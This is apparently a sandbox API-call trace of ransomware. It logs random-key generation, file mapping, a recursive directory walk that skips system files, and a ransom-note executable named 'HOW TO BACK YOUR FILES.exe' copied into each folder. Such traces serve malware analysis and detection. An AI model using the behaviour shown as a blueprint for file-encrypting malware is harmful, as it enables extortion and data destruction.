	[0066.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.527] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0066.527] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0066.527] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.528] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23300, lpName=0x0) returned 0x14c
	[0066.529] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23300) returned 0x120000
	[0066.552] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0066.553] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0066.553] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.554] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.555] CloseHandle (hObject=0x14c) returned 1
	[0066.555] CloseHandle (hObject=0x154) returned 1
	[0066.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.556] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0066.556] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0066.556] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0066.556] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0066.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5a38 | out: hHeap=0x580000) returned 1
	[0066.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0066.556] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 82
	[0066.556] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0066.556] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.556] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0066.557] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.557] GetLastError () returned 0x20
	[0066.557] Sleep (dwMilliseconds=0xc8) 
	[0066.796] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0066.796] GetLastError () returned 0x0
	[0066.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0066.796] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0066.796] CloseHandle (hObject=0xc0) returned 1
	[0066.796] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0066.796] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.796] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.796] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.796] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.796] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.796] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.796] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.796] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.797] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.797] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.797] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f52e170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.797] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.797] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0066.797] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0066.797] lstrlenW (lpString="packages") returned 8
	[0066.797] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned 84
	[0066.797] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0066.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0066.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0066.797] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fe50 | out: ListHead=0x5b75f0, ListEntry=0x59fe50) returned 0x5b7c90
	[0066.797] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0066.797] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0066.797] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fe50
	[0066.797] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0066.797] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0066.797] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0066.797] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned 91
	[0066.797] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0066.797] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.798] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0066.798] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0066.798] GetLastError () returned 0x0
	[0066.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0066.798] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0066.798] CloseHandle (hObject=0xc0) returned 1
	[0066.798] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0066.798] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.799] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.799] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.799] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.799] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.799] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.799] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.799] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.799] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.799] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f52e170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.799] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.799] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="Apollon865.txt.exe") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2=".") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="..") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="windows") returned -1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="bootmgr") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="temp") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="pagefile.sys") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="boot") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ids.txt") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ntuser.dat") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="perflogs") returned 1
	[0066.799] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="MSBuild") returned 1
	[0066.799] lstrlenW (lpString="vcRuntimeAdditional_amd64") returned 25
	[0066.799] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned 93
	[0066.799] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0066.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0066.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xec) returned 0x59a4d8
	[0066.800] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fe50 | out: ListHead=0x5b75f0, ListEntry=0x59fe50) returned 0x5b7c90
	[0066.800] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0066.800] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0066.800] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fe50
	[0066.800] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0066.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a4d8 | out: hHeap=0x580000) returned 1
	[0066.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0066.800] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned 117
	[0066.800] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0066.800] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0066.801] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0066.801] GetLastError () returned 0x0
	[0066.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0066.801] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0066.801] CloseHandle (hObject=0xc0) returned 1
	[0066.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0066.801] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.801] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.801] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.801] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.801] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.801] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.801] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.801] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.801] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.801] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.801] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b1b00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7c9b1b00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7c9b1b00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0066.801] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.801] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
